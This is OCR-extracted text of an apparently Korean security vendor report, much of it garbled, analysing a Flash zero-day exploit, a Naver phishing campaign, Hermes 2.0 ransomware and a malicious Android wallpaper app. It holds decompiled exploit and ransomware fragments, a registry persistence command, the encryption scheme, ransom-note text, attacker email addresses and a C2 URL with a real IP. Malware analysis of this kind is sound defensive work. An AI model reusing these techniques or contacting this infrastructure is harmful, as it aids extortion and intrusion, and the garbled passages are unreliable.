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GET /admincenter/files/boad/4/manager.php? "

m

Accept: */* —
Accept-Language: ko-KR

®x-flash-version: 26,8,08,137

Accept-Encoding:-gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1;
Trident/7.8; SLCC2; .NET CLR 2.8.58727; .NET CLR 3.5.38729;

JNET CLR 3.0.30729; Media Center PC 6.0; .NET4.8C; .NET4.8E)

Host: www.dylbailer.ca.krl

Connection: Keep-Alive

3 cliant okifsl, 3 sarvar pkifsl, 3 fumis).

[Entire conversation (1166 bytes) v] Show and save data as Streamn 4 |2
|Filter Out This Streamn| | Print | | Saveas- || Back || =2 || =22 |

HIO|Lf20]] ZE2te|0f U= S2HA| M| HHATFTE FES MTHHH ZAK= T 22 A=0M Exploit

—
TS HEfet HE & == UFUCL

F:\work\flash\obfuscation\loadswf\src
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function Decript(flash.events.Event):void

i
S/ max_stack 6
S/ local_count 18
Ff init_scope_depth 2
f /7 max_scope_depth 18
/¥ BB81B5S58 F1 @3 */ debugfile "F:‘work\flash‘obfuscation‘loadswfisrc;;loadswf.as
f* BBalB552 Fe 4D #/ debugline 77
/¥ 888l1B554 Do #/ getlocald
/¥ 8BalBes555 38 */ pushscope
/* BeBlES56 24 @8 */ pushbyte @
/* B8B1B558 63 A9 *#/ setlocal 9
/* 88Bl1B55A EF @1 4F @8 4D */ debug 1, "event", 8, 77
/* B@B1B5S5F EF @1 58 @81 4F */ debug 1, "loader", 1, 79
/¥ 88BlB564 EF 81 51 82 58 */ debug 1, "swf_key txt", 2, B8
/* 8@BlB569 EF @1 52 @83 52 */ debug 1, "decData", 3, B2
/* B8B1BS56E EF @1 53 84 53 */ debug 1, "swf_key", 4, B3
F* BBB1EST3 EF @1 43 85 55 *f debug 1, “"i™, 5, 85
/* 8@B1B578 EF @1 54 86 54 */ debug 1, "n", 6, 98
/* eealBsyD EF @1 55 e7 el */ debug 1, “1", 7, 97
/* BBB1ES32 FB 4F *#/ debugline 79
[* B8ale584 5D @9 * Findpropstrict flash.net.URLLoader
/¥ 88sl1Bs586 D1 *f getlocall
/¥ @BB1ES87 bbb 2F */ getproperty target
J* @BA1ESEY 46 89 8l */ callproperty flash.net.URLLoader, 1
/* BBB1ES3C 38 B89 */ coerce flash.net.URLLoader
/* 88B1B5BE Db *#/ setlocall
/* BBB1ESEF FB 5@ #/ debugline 28
/* 88s8l1B591 D2 */ getlocall
J* @BalES92 BE 38 */ getproperty data
J* 8Bales594 85 */ coerce_s
/¥ 8eslBs9s DY *#/ setlocal3
/* BEalB596 F@ 52 *#/ debugline 82
f* BB@1ES38 5D 18 #/ Findpropstrict flash.utils.ByteArray
J* @BALES9A 44 18 &8 #/ constructprop flash.utils.ByteArray, @
J* @BalE59D 38 18 #/ coerce flash.utils.ByteArray
/¥ BBB1BS9F 63 64 *#/ setlocal 4
/* BBB1ESAL FB 53 #/ debugline 83
F* BBA1ESA3 5D 18 #/ Findpropstrict flash.utils.ByteArray
J* @BALESAS 44 18 &8 #/ constructprop flash.utils.ByteArray, @
J* @BB1ESAS 38 18 #/ coerce flash.utils.ByteArray
/¥ B8Bl1B5AA 63 85 *#/ setlocal S
f* BBB1BESAC FB 55 #/ debugline 85
S* BEB1BSAE 24 B0 ¥/ pushbyte @
/* 8Bales5ee 73 #/ convert_1i
/* B8B1B5B1 63 86 *#/ setlocal &
/* BBA1ESE3 18 23 B0 a8 #7 jump loc_g@

[22 g Z2HA| S24/0]0] WM AFZE A= 51H

S SANS0| AEet A= FYkf= 1 Sl S2(010] FeF Z=E Hluws HH Ot Z5LU .

C:\Users\Rose\Adobe Flash Builder 4.6\ExpAll\src
G:\FlashDeveloping\Main\src\Shellcodes

G:\FlashDeveloping\20148439\src
G:\FlashDeveloping\2015-3090\src
G:\FlashDeveloping\mstest\src
Z:\Main\zero day\Troy\src

ESTsecurity




02 ME7t Het 7|

[FloFd & X15]

P https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=26998
P https://helpx.adobe.com/security/products/flash—player/apsb18-01.html
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naver.com Service Termination <hradmin@globertek.com:
NEGLECT SHUTDOWN WARNING AND LOOSE YOUR ACCOUNT

@naver.com

|||l
rlr
o

AR B inv.pdf (271 KB)

| I

This is to notify that we are validating active accounts. Kindly confirm that
your account is still in use by clicking the validation link below to avoid shutdown of
your account:

Validate Mail Account

OR

Neglect Shut Down

Sincerely IT Help Desk

Office of Information Technology
naver.com

naver.com Service Termination = 22

22 1] 2 MOIE APY Q1 Ot The M
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HAELCE
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[ Adobe PDF X
< C (0 A 7 | kabe .com/bl/sparzynew.htm e
Adobe
' ‘ |
- L -
Sign.in with your email account to view pdf file
-~
Email Address
- -
Enter your ematil address
Password r
Phone number
Copynight®© 2017 cPanel, Inc.
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@

© invoice-template-2gif X

¢ C O O www com

¥

Xin Cube Inc Invoice
Invoice Noi INV10100005

300 Francsco St

[Ub@ San Francsco Data: 15-0ct-2010
CA 94133
us

Tel: (415)5095-1188 Fax: (415) 509-2288
Errue adern@ wncube.com
Webste: www.dncube.com

8l To John
Synex Inc
128 AA Juwntty Ave
Glendors
CA 9178 US

Phone Far Phone Fax
‘hluhson |Order No Shipy ,M é‘l;: g9 Terms [Terms (m(nd'
[l b WooRen l | 30 Duys USD
| Qty 1D Unit Price Amount
6.00 PS.VES0.05 | AMD Athion X20C-7450, $80.00 3,480.00
2.4G) 168/ 160GB/SMP-OVD,VE
4.00 PS.ves0.37 | PDC-ES300 645,00 2,580.00
2.6GH] ¥68/ 32068, SMP-OVD, FOD/ VB
10.00 LCVES0.02 | LG 185" WLOD 230.00 2,300.00
1.00 HP.QTS4.71 | WP Laseriet 5200 1,100.00 1.100.00
L
Sub Total Discount Shippeng Total
| 3460.00 0.00 0.00 $933.00
| s
| GST Deposit
l 473.00 0.00 0.00 0.00
Amount Due
Note: 9333.00

Therks for you business

[0 4] OIZXIS QA7 7] gt E4=3 Ol0IX]|
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POST /bl/access.php HTTP/1.1

Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pipeg,
application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword,
l/t

Referer: http://mmssw s m .com/bl/sparzynew.html

Accept-Language: ko-KR

User-Agent: Mozilla/4.@ (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR
2.0.50727; .NET CLR 3.5.30729; dﬁﬁfglﬁ“§TQT3Q229;,Mgdia,Centfngﬁg 6.0; .NET4.0C; .NET4.0E;
InfoPath.2)

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

Host: .com

Content-Length: 65

Connection: Keep-Alive

Cache-Control: no-cache

Ifeggback=t=§;£=ggs.Sgggfgeggacknow=tss;ﬁfeggbgckng==22=;234§67§22’lIP/1.1 302 Moved Temporarily

>

[72! 5] 224K} MHZ Ql2ist Mkt &

0

F2 U"E HHE EME JE RF 32 F/IMQI OsH0| =2 7F540| S5ELICL [2EA 0[EXIE2 EX47t
==aot M| U= YT RO CHol H2S A7 A7 | HIZLICE
SiXH 2ekoflA= MBS Exploit.PDF.Downloader2 FI-t6! QUSLICE
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0[2H0f| SEet 0= ‘Hermes' 2.0 HEQE 71E ‘Hermes' 2ERI012] HZE0|C, 20| S0 M2t 2dTFE

TIEKK= AEXIO| S0 IolS Qs sfst 5| 255} (7|2 HIETQ! ZNIS QT5i0l 2Rl 0/SS F3ICt

7|& TN iU A5 s7} FIlE 0]F hermes ZFEAIE F7161E At HE| Bo| SRS F716HK| = A0
E70|Ct, EEB AS st T EFEAIO= “hwp' 7F R0 0 =L AFZAIES] o7t LECE

2 24 HIM0M= Heremes 2.0 HE/OIE &Ml &4 SHOX} SICt

— .

ESTsecurity



1) 2] O
’.é.*%l01i (SroEsid IZIH'I 4= %%Hﬁpl Flott iﬁl* HAHARES 0
;—<l o, g O;

Hermes ¢

23 1] Z2AIA A8 AIZIXES 0183t | LI

Iz SHGI SXiE=

ol 71

2) XL SN H XSHY S5
A2 2 E2E 2lRloi! =78 420 H= LS =4
Zot= L=A|A O[F0|Ct. Ol= ASXIOHA| Fef

oIXl 2|07t SEfolk=
IofA 0|2 'winlogon.exe’ 2= A|ARIOIA HAXOZ AESH=

OZNAZ HO|LF 2IEGH | $I&0|Ct,

leA{&Src, 1pFile, 8);

FILE ATTRIBUTE HIDDEN);

A(lpFile,
(0x8Cu);

lpFile, 0, 6, 0);

[T 2] Xt EH] 2 22] Il Adx

(0, 0,

AR SSHA0] K2t 2= TU0| SX=l= 2= Chsat 2Lt
orl =2x| 22
Windows XP \\Documents and Settings\\All Users\\
Windows XP 7} Of- ZL \\users\\Public\\
[ 1] AAE 2K C2 DY =X 2

AIX[517| 2o Xt SISt ‘winlogon.exe” TS
0|8310] HX|AEZ|0| F7t=|H 2BHMMQ| HIE

0] A
XS '%'EIEE EﬂII*EE'-IOiI "7P°H1f ChEd } 2=
0] M=t &40] =7+,
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I'g c

03¢

HI

M HT

HIXAEL| XS Al

IS EE2

=20 O

32HE

"REGADD
\"HKEY_CURRENT USER\\SOFTWARE\ \Microsoft\\Windows\\CurrentVersion\\Run\" /v
\"sysrep\" /tREG_SZ /d \"

64 HIE

'‘REGADD
\"HKEY_CURRENT USER\\SOFTWARE\ \Microsoft\\Windows\\CurrentVersion\\Run\" /v
\"sysrep\" tREG_SZ /d \" /reg:64

HIXIAEE| HETIS

[ 2] 2SAK HIE 280l M2 YXAER| XIS Al S5

o=

£l ‘sysrep’ 0|E2Z

o axamz 2R

IRE BIUE =22V SFARA =ZSRH)
J. Policies ~l|l o8 s < =}
i ::Dm (7123 REG_SZ ZREzow
j. Run ab) £G.52 ' lic
B RunOrice blsysrep REG SZ CwuserswPublicwwiniogon exe

23 3] ‘sysrep’ A1 AW S5
3) EEMESR SARE AH|

oFgIE MER= ti=ete TS 5715 57| floh MM IEE S8M=? SAES RS C =2H0[20)A
H E210|E77iK| SAKE 2 E DS SHUXIE YO MRS AITSIC 0] 2E XU ‘shadow.bat’ HX|IIUS

&gol0] it

ESTsecurity Copyright © 2018 ESTsecurity Corp. All rights reserved.
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02 4] SEEM=R SAKE AR HE0

CHST} 22 SRS 71El IS D5 AHBHCE

*VHD, *.bac, *.bak, * whcat, * bkf. *. Backup, *backup, *.set, *.win, * dsk

4) M IS5}

24X AIABIOM AR 7SSt ERI0|E BM = iset Ty 2P R M| EHE HIWSHK YSsS Tileit.

—_

bitmask Getlc

vik Gx1A;

do

{
1f ( (bitmask >> vih) & 1 )
¢

vin vih +« 'R';
va1l
g 0:

18(&v38, 1, hProv, phkey);

u].‘o;
’
while ( viid > 0 );

-

02! 5] AS 7H5t 2101 BiM 21 4S5 ket Hw

20l MIIEICE Ol= AAR 2F0| 2Lt DIUS0| ZotE SH= s

ChEdlt 22 0182 71 E0=E =
{2 H

Qlol AR QF7 EHSk= S LXIoh | ILOICt

ESTsecurity
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alindows_1:

aRecycle bin:

abefault:
aflllusers:
aProgran:
aMicrosoft_1:
aMicrosoft_0:

alindows_0:

[ 6] 52t H|2| EC

Chaalt 22 2FUAIE 7R TH0H| CHolM Tt et TIUECT S0 2= 2FHAL HWA| AZA1Qt HEAIE

B; j < cnt_B(&a _tif[6 = i]); ++j )
»fupperExtension[2 » j] toupper(a tif[j » 6 = 1]);
vi7 nt_0(&a_tif[é6 = 1]);
vis v62 vi7;
D8(&u61, u19, 0) t= ui8 )

len(upperkExtension);

16(&u61, upperiExtension, v28);

v21 = nt B(upperixtension);
if ( v22 = v62 - v21 )
continue;

[0 7] &S5t et SRR} Hw 2

US| i 2EKk= & 812 71= Ci32t 2L

2o} thef 2FEAL

tif, php, 1cd, 7z, cd, 1cd, dbf, ai, arw, txt, doc, docm, docx, zip, rar, xlsx, xIs, xlsb, xlsm, jpg, jpe, jpeg, bmp, db, eq|, sal, adp, mdf, frm, mdb, odb,
odm, odp, ods, dhc, frx, db2, dbs, pds, pdt, pdf, dt, cf, cfu, mx|, epf, kdbx, erf, vip, grs, geo, st, pff, mit, efd, 3dm, 3ds, rib, ma, max, two, lws, m3d,
mb, obj, x, , x3d, c4d, fox, dgn, dwg, 4db, 4dl, 4mp, abs, adn, a3d, aft, ahd, alf, ask, awdb, azz, bdb, bib, bnd, bok, btr, bak, cdb, ckp, clkw, cma,
crd, dad, daf, db3, dbk, dbt, div, dbx, deb, dct, dex, ddl, df1, dmo, dnc, dp1, day, dsk, dsn, dita, dtsx, dxl, eco, ecx, edb, emd, fcd, fic, fid, fil, fm5, fol,
fp3, o4, fp5, o7, fipt, b, f2v, gdb, gwi, hdb, his, ib, idc, ihx; itdb, itw, jtx, kdb, lgc, mud, mwb, s3m, myd, ndf, ns2, ns3, ns4, nsf, nv2, nyf, oce, oqy,
01, OrX, OWC, OWg, 0y, P96, p97, pan, pdb, pdm, phm, pnz, pth, pwa, gpx, ary, gvd, retd, rdb, rpd, rsd, sbf, sdb, sdf, spa, sab, stp, str, tex tdt, te,
tmd, trm, udb, usr, v12, vdb, vpd, wdb, wmdb, xdb, Xld, xlgc, zdb, zdc, cdr, cdr3, ppt, pptx, abw, act, aim, ans, apt, asc, ase, aty, awp, awt, aww,
bad, bbs, bdp, bdr, bean, bna, boc, btd, cnm, crwi, cyi, dea, dgs, diz, dne, docz, dot, dotm, dotx, dsv, dvi, dx, eio, eit, emlx, epp, er, etf, etx, euc, fag,
b2, fol, fcf, fdf, fdr, fds, fdt, fdx, fdxt, fes, fit, fir, fodt, gtp, frt, fwdn, fxc, gdoc, gio, gpn, gsd, gthr, gv, hbk, hht, hs, htc, hwp, hz, idx, iil, ipf, jis, joe, jp1,
jrtf, kes, klg, knt, kon, kwd, bt lis, lit, Int, [p2, rc, Ist, ltr, ttx, lue, Wi, wp, byt, byx, man, map, mbox, me, mell, min, mnt, msg, mwp, nfo, njx, now, nzb,

ESTsecurity



03 oz

HI

M HT

ocr, odo, odt, ofl, oft, ort, ott, p7s, pfs, pfx, pit, prt, psw, pu, pvj, pvm, pwi, pwr, gdl, rad, rit, ris, mg, ot rst, rt, rtd, rtf, rtx, run, rzk, rzn, saf, sam, scc,
scm, sct, saw, sdm, sdoc, sdw, sgm, sig, sla, sls, smf, sms, ssa, stw, sty, sub, sxg, sxw, tab, tdf, tex; text, thp, tlb, tm, tmv, tmx; tpc, tvj, u3d, u3i,
unx, uof, uot, upd, Utf8, utxt, vt, vit, vy, wik, wef, wez, win, wip, wpd, w5, wpb, wp7, wpa, wipd, wpl, Wps, Wik, wpw, wii, wsc, wsd, wsh, wix,
xdL XIf, xps, xwp, Xy3, Xyp, xyw, ybk, yml, zabw, zw, abm, afx, agif, agp, aic, alom, apd, apm, apng, aps, apx, art, asw, bay, bm2, bmx, brk, bm,
brt, bss, bti, ¢4, cal, cals, can, cd5, cdc, cdg, cimg, cin, cit, colz, cpc, cpd, cpg, cps, cpx, cr2, ct, dc2, der, dds, dgt, dib, djv, djvu, dm3, dmi, vue, dpx,
wire, drz, dt2, dtw, dvi, ecw, eip, ext, fal, fax, fpos, fipx, g3, gcdp, gfb, gfie, ggr, if, gih, gim, spr, scad, gpd, gro, grob, hdp, hdr, hpi, i3d, icn, icon, icpr,
jiq, info, ipx, itc2, iwi, j, , j2¢, j2K, jas, jb2, jbig, jomp, jbr, ffif, jia, ing, jp2, jog2, jps, jpx, jtf, jwi, jxr, kde, kdi, kdk, kic, kpg, lbm, ljp, mac, mbm, mef, mnr,
mos, mpf, mpo, mrxs, myl, ncr, nct, nlm, nrw, oc3, oc4, oc5, odi, omf, oplc, af2, af3, asy, cdmm, cdmt, cdmz, cdt, cgm, cmx, cnv, ¢sy, a5, cvg, ovi,
avs, avx, awt, oxf, des, ded, dhs, dpp, drw, dxb, dxf, egc, emf, ep, eps, epsf, th10, th11, th3, thé, thb, thé, h7, 8, fif, fig, fmv, ft10, ft11, ft7, ft8, ft9,
ftn, fxg, gem, glox, hpg, hpgl, hpl, idea, igt, igx, imd, ink, lmk, mgch, mgmf, mgmt, mt9, mgmx, mgtx, mmat, mat, otg, ovp, ovr, pcs, piv, pl, plt,
viml, pobj, psid, rdl, sov, sk1, sk2, ssk, stn, svf, svez, sxd, tlc, tne, ufr, vior, vec, vml, vsd, vsdm, vsdx, vstm, stm, vstx, wpg, vsm, xar, yal, orf, ota, oti,
ozb, 07}, 0zt, pal, pano, pap, pbm, pct, pe2, pe3, ped, pdd, pes, pef, pfi, psf, pgm, pit, pi2, pi3, pic, pict, pix, pipg, Pm, pmg, pni, pnm, pntg, pop,
PP4, pp5, PP, prw, psdx, pse, Psp, ptg, ptx, pv, P, pX, pz3, pza, pzp, pzs, z3d, gme, ras, reu, rgh, 18, ric, iff rix, e, i, ipf, mi, rs, rsb, rsr, w2, i,
s2mv, sci, sep, sfc, sfw, skm, sld, sob, spa, spe, sph, spj, Spp, 2, srw, ste, sSumo, sva, save, ssfh, t2b, th0, thn, tfc, tg4, thm, tip, tm?2, tn, tpi, ufo,
uga, vda, Vif, vpe, vst, wh 1, whc, wbd, wbm, whimp, whiz, wdp, webp, wpb, wpe, wv, X3, v, , ysp, zif, cdr4, cdré, cdrw, ddoc, css, pptm, raw, cpt,
pex, pdn, png, psd, tga, tiff, tif, xpm, ps, sai, wmf, ani, flc, b3, fli, mng, smil, svg, mobi, swf, html, csv, xhtm, dat

|1 5 53} CHA I Si0Igipt SEZIcls 9iy| 9jsh 0]0] ZE TUQIKIS BI0ISHH 0]0| 2!

OO

H
IHAU2 M AO|= 20iA 112 HIO|E |X[S 220f| ‘HERMES' A|IZILIR7F AUEI0] RACE ‘HERMES' A|ZILIR7}
SQIE|X| P52 TfU0f CHolMTt A= kS TIMSITY.
if ( targetFileSize > Gx118 )

{
\

Ji(targetFile, targetFileSize

NunberOfBytesRead a;
if ( ReadFile(targetFile, &Buffer, 6u, &GNumberOfBytesRead, 0)

&6 Buffer ‘H*
&6 v3s mt S

&& w39

&t vhl

&8 vl

&6 vA2

vin

U(hDbject);
return v

i )(targetFile,
tarqetFileSize FileSizeHigh;

Ct2a}t 20| a7} TIRME MU0 ‘HERMES' AITILA & 2101t 4= QUL
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D O «

DO 000 O0C«

> O «

OO0 O«

DR R R R R R RS R R R R e

0
(¢}
0

IS WN O

00D O«

> W

’v‘l:l:l‘:\;‘DA:.

00002

2E0

00 01 02 03 04 05 06 07 08 09 OA
56 08 S8 76 28 68 FD 87 86 E1 DF
CC CE 4E D8 DB 92 A7 44 F2 C9 51
26 A8 79 F9 CC D6 F7 69 43 18 SE
28 DF C8 32 EC 16 49 ES F8 BO 68
3E SC 86 6F F6 3A CF 64 34 31 09
SE SF ED 45 FB B9 FE 02 A8 62 AF
C7 S9 A4 C2 EC 97 9F 2B C4 3A 68
28 F7 71 3A 66 AR F7 09 1A AE 9C
28 03 FEO 83 2iF 7D OF 64 52 22 SB
48 45 S2 4D 45 S3 01]32 00 00 10
00 00 B2 3E 75 41 86 2C FO 4A SO
OE FD 6E SS 2E E1 80 C4 1E B7 44
F8 17 C7 35 79 B4 98 BE FA 31 DC
$9 6F CC FA 48 90 69 78 C7 AC 64
F4 76 D2 BO CF €8 57 BD 4F EE E9
71 B8 74 ED 3% DD 3C 8D 48 42 96
82 D3 3E DE 0B 6F SA 12 38 82 44
C6 SE SF 57 BD 7E 66 Al 7F EA 44
68 68 42 B4 20 02 S9 OE F1 51 1C
FE SD OD ED B9 4E 7F A4 81 D C1
8E 21 2E 14 57 DC 3E C2 7C 36 3C
S6 99 73 E2 63 97 85 ES 3B 35 €B
65 CO AR 7B 54 25 BF 85 7D FE 6F
83 8E 49 BB 7B SE F9 87 94 DA E3
OD CF 7C AF 04 1D 4S5 E3 97 CC 2D
25 93 38 OE FB 16 A4 88 3B 9B 2F
C3 30

[j_al 9] ors

<3} L MU= ryptEncrypt S

St e H

I_

AIJLIﬂQP 10CHPOIE

o 1
o

7k
I_
o]

o

—

| &=

pdubatalen

1f

I

while

vi/
v3b

? {
'

( vl <
hObject;

uptEn

gqoto LABEL

return vig;

ESTsecurity

£ padding

Soll AES_256 U&7 |2 &S

ZO= &M 16 2] HY

0B 0C OD OE OF
OE C7 SE C1 C5 x (hys1as.C AR
35 9A F7 BB 8E Ne0’ SDAEQSEsni
96 AS B3 18 10 aideac.2-¥2..
g D7 45 B9 D7 <3zz;.-éo nn=Edx
F2 47 53 9D 00 >\-o::!d€l.éu5..
9F BD 80 FE 73 ~.iEQ*Dp. b ¥s€ps
C7 48 FO 4E 14 ¢Yun-—y.“-vy"ow
2E 71 88 13 24 (+q:frs..®=.q".
07 6C CD A9 2D } i
66 00 00 00 A4
BA F2 ED 4D FD
8F A3 67 2B FE 25“3 acA. D.£g+p
8A B1 87 3D 6% “%310328we
39 D8 E3 EE S1 .;x$~d92a:Q
81 F9 OC FE D6 &vO*Inws0ié.u.pd
F6 AD 3B F1 41 q,tio¥<.HMB-5.:AA
51 F8 ED DC C5 ,O0>P.02.8,DQeilA
FB 52 6D BA 52 Z*_Ww~f;.&D3Rm°R
4R 4A 53 C2 74 hkB' .Y.AQ.JJSAc
B2 OE 45 19 76 DP).i3N.u.QA*.E.v
29 AS 12 SE D4 2!.. "">n|6<)v 30
59 6E 15 AF B7 V™sdc—_4;5¢¥n.”
37 A6 3E 99 13 eAS{TS:.)1po7:>>.
SD CF B8 FB A9 fiI»(“l”"&]; oo
76 80 CS ES 9A .I|™..E&-i-vedls
$S CF 2B 2F 23 s™8.0.m";>/UX+/#
Ao

=l If L 'HERMES' A|ZLIA

S3Et

T= i

HO|El= 16 HIO|E S5
== =0 HoH =

SI=l AES CHAIZ | ME7| =I7HEIC)H LIS 5351 FE9| AURO|CT

(AE
t(At

(vi3);

I(hObject,

(viy,

hobject

6Key, 0, v12 g, 0

6Key, B, vis 0,

Uh3,

(hObject);

y(vis);

J(vi8, v1i17

(v1

fu, O
hExpKey, 1Tu, ©

BENC

[:Lal 10] ]]_I-OI ors

pbD:

tpdubDatalen, 9)
pdudDatalen) )

yta, Guas,

g)
s B, &V37

, GEnc_AESKey,

AESKey, v32, &ws

FCo| Qe

S5t =9

av32) )

FI=

23} 2 6HI0|ES| 'HERMES'



Padding =& &
pag-x- vl
{16byte B

'HERMES' Signature &2
(Blbyte)

P=BHE AES CHE 7|
(10Ckyte)

(22 1] YSs1E ojY 2=
5) T L E 9 FIN7|, AKXt A M A
CH23t 20| C:\User\public\ 20 31(0f] X7+ 2RI I 2|of|= 2HML-EQL ‘PUBLIC,
‘UNIQUE_ID_NOT_REMOVE’ I0| F7} AAMEICY

@Q. » BRE » 25 OAS (C) » ABRE » 28 »

on
- U

b

g~ Sk 1

{1}

= 2 | DECRYPT_INFORMATION. html
e 5 PUBLIC

i X UNIQUE_ID_DO_NOT_REMOVE
® | winlogon.exe

(22 12] public 20 L A= mRIS

OO -

@ =3}0f| A& RSA 374717t ‘PUBLIC 0IE2= MEEICH.

if ( tCryptExportKey(vi2, O, PUBLICKEYBLOB, ©
goto LABEL_36;
ul3 Uirt

s, 0, &pdubDatalen) )

valAlloc(B, pdubatalen, 8x1800u, 4u);
RSA_PublicKey vi

if ( tv13 || tCryptExportKey(phKey, 6, PUBLICKEYBLOB,
goto LABEL 36;

8, vi3, &pdwbatalen) )
vik

CreateFileA{FileName, GENERIC WRITE, FILI

SHARE WRITE, B, 2u, 06x8Bu, 0);

(2= 13] PUBLIC If! AM

oo

@ LYE ASAE AlEL D R 7| "I RS IS 'UNICQUE_ID_NOT_REMOVE' 0|ER2 2 AMFEICY.

ESTsecurity



CRYPT _EXPORTABLE, GhExpKey)
hi 2y, PRIVATEKEYBLOB, 0, 0, &duSize))
1000u, 4u), (hObject vis) = 0)
| » hE IVATEKEYBLOB, 0, vi15, fduSize)
I PublicKey ln!udnhn J ) Signature 10(),

wportXey(hProv, RSA PublicKey Starthddress, vi7, 8, B
ortkey(hExpkey, vz SIHNPLEBLOB, O, 0, I'nhuxh\ll FBytesio
ualflloc(0, nNumberOfBytesTothrite, Ox1000u, hu), (‘4|Hxln rOfBytestritten vig) ¢ )
J(hExpKey, IMPLEBLOB, O, v1E & (I]:IIN‘I DFBytesTotrite)
11ea(v2 0000000, O, 0, 2u, Bx8Bu, 0), hFile ? 1) )

le(hFile, hOobject ze, tu3n, 0);
nter(hfFile, .

werOfFBytesWritten, nNunberOfBytesTolirite, &w38, 0);

[72 14] UNIQUE_ID_DO_NOT_REMOVE It A4
© M At = MEAUA HF At 52212 ?lot WS Ctliichs By .ES Wdotil allioh,

H=22]of QITHE|0 Q= HTML 2 =2 Email HEE XOR = 012510 St HIO|EM C|FHsiCt, C|FHE HI0[E=
Z|Z ‘DECRYPT_INFORMATION html‘ DU 2 MAMZ|0] Xjs AlSHEIC} CH=2L HTML ZE2 C|FZsk= I =0|C},

vl
n Ox826

*ey2.;
H
vhile ( v2 < n
b
n Ox47

vs

++05;
H
while
H
n_ Ox1AE
uw?

if

o " [v7 % v3];
.[U/I % v,

te0/

3

vwhile ( v7 < n BX1RE );
b
return vi;

[T72 15] QIFHE HTML 2= XOR C|12Y
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mail A C|ZFok= F=0(Ct OFFE Email 4= C|ZYE HTML 2= ALO[0f =7H=[0f
2 AIZIC

.m
O
=
<
=
=
ue
mo m

[T2 16] Q1THE Email =4 XOR L)Y

CHE2 CIZEE Email F=40IC

Email =2
Primary Email BM-2cUGVXP5PUNnbTBWLIK5cTDYQL55PX4kaK@bitmessage.ch
Reserve Email BM-2cWSYhFXhuHyLGLusdmnXP7 TNpCW6KEU 1 z@bitmessage.ch

[2 4] C|ZHE Email M=

2HdE HTML D2 ChEit 22 128 71

HTML =1
Primary Email
HTML ZE2
Reserve Email

HTML BE3

[T 17]HTML I FE X

2+4E ‘DECRYPT_INFORMATION.html® 2 Sk SE0HC M| H, L3t 20| "allkeeper’ 0[E22
HIXIAEL| XS &l SSECL

=20 O 11—
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(@)
w
12
0%
|-.u
M
AI
1z
5

Fuxname ayy
RF aTLE 22V FARIA) SERH
b NetCache “ll os E-3 3 3015
i Polickes 571221 REG_SZ ZETOE
1 :::AR A allkeeper REG_SZ CrusenswVMWDesktopWDECRYPT_INFORMATION htmi
:V RunOnce
b Screensavers
J Shell Extensions
[22! 18]'DECRYPT_INFORMATION.html' I Z|KAER| XI5 Al S2
CHe2 HEE 2lHOZ OPYAL XK= =52lE flot HI82= HIETQ! ANIE R, OIF #lof O|HIYS
Solf =62 24161 “UNIQUE_ID_NOT_REMOVE” I Sl7H| Mokt QLS EESt HIET Q! ZX|0f A

o
YAz S5 dStitte A 20iF7| flofl 3702 MYUS U2 S521E F== TIRlRICL

HERMES 2.0 RANSOMWARE

Your files has been encrypted using RSA2048 algorithm with unique public-key stored on your PC,
There is only one way to get your files back: contact with us, pay, and get

You have "UNIQUE_ID_DO_NOT_REMOVE" file on your desktop also it duplicated In some folders,

its your unique idkey, attach it to letter when contact with us. Also you can decrypt 3 files for test.
We accept Bitcoin, you can find exchangers on and others.
Contact information:
primary email:

reserve email:

[Z2 19] 2HM-E 31H

D= Of Ysebt S2E 0120 S5 HXIAELE AHRICL

- O/ L—

[ 20] ‘sysrep’ ZlIXAER] At
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http://185.162.10.7 /text_area/vic.php?ID={#= 10 X2}

ESTsecurity

“AEESESs { f Ir 3 E (-, IHNTERHET ODFEH TYPE DIRECT ,

O 21]RCHS

M Follow TCP Stream

Stream Content

GET /text_area/vic.php?ID=1739445681 HTTP/1.1
user-Agent: Microsoft Internet Explorer

Host: 185.162.10.7

connection: Keep-Alive

HTTP/1.1 404 Not Found

pate: Fri, 26 Jan 2018 00:33:22 aGMT

server: Apache/2.2.15 (Centos)
content-Length: 293

connection: close

content-Type: text/html; charset=150-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<html><head>

<title>404 Not Found</title>

</head><body>

<hi>Not Found</hl>

<p>The requested URL /text_area/vic.php was not found on this server.</p>
<hr>

<address>Apache/2.2.15 (Cent0sS) Server at 185.162.10.7 Port 80k/address>
</body></html>

O 22] (RCHS




O "Hermes™ &R0} 2.0 T2 7|ZE BTt Ci=A Y St & 0| SFYAE F15HK| =Lt EAte]
Hapt 871 20| AFSAR= OfE OO0 =t RH=A| el QX[ | O‘IEEF.

IfY A5 Tl SRR S0l= FLHOIM ARBSH="hwp' I 0| ZRE|0] QU0 HHEA0 Z4S Al 2 LioH7 | Eelie =
AL

[Tt AZAE2 AL 2SHKRL OFSEIAH|0 1S Sk 21 FH0[E HTCZ FX[SHOF SITf. St SQot
A2= 2F A X0 Weioh= S2S S0[1l, 2R HFQ| M O2 XIZ= HASHE SE0( 2oL

SAXH Lol At="Hermes 2HM YIS Trojan.Ransom.Hermes EX|HOZ FI-tst QUCY.
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e Wallpapers

Z@MA 175 W MHIA 191

(A
MH[A

. (GService N
OFERIHOIME XIS NUSRQLICH

O E2|H|0|40) 2iaf AMH|AE
AIESIASLICE ME|A R X5
OfE2|H|0| 40| EH7t LEE = ASLICE

X
o2 M
pas Wallpapers 7.3MB
com.yrchkornewwallpapers
OjQl Z2MATEAHR SYLIC

Bz T J17|o] BIZEIRIS T 4 QITE 17} HEO| XIS ARIZ RS T2 Z20| A0
HARMORA S2E0] YUK

o

A}RI}OHHI OX[GEX| 2511 7P| DA FQIZ Xf=S1L, Ol oxothukmooo.com HIERE O0|L=ES| XIS =2

MASICE E5), 712 ZH0|AENQ| HOt MEHS L5l | QoA QLEAAZ FIHE FES 5o MAUS HIXISHT
7SS Zh=Z STt

<{service android:enabled="true"™ android:name="com.oxothuk.minnersdema.KGS5ervice™ />
¢service android:enabled="true™ android:name="com.oxothuk.minnersdemo.KGWorkingService™ f»
<receiver android:name="com.oxothuk.minnersdemo.ResponceReceiver™s

¢intent-filter:
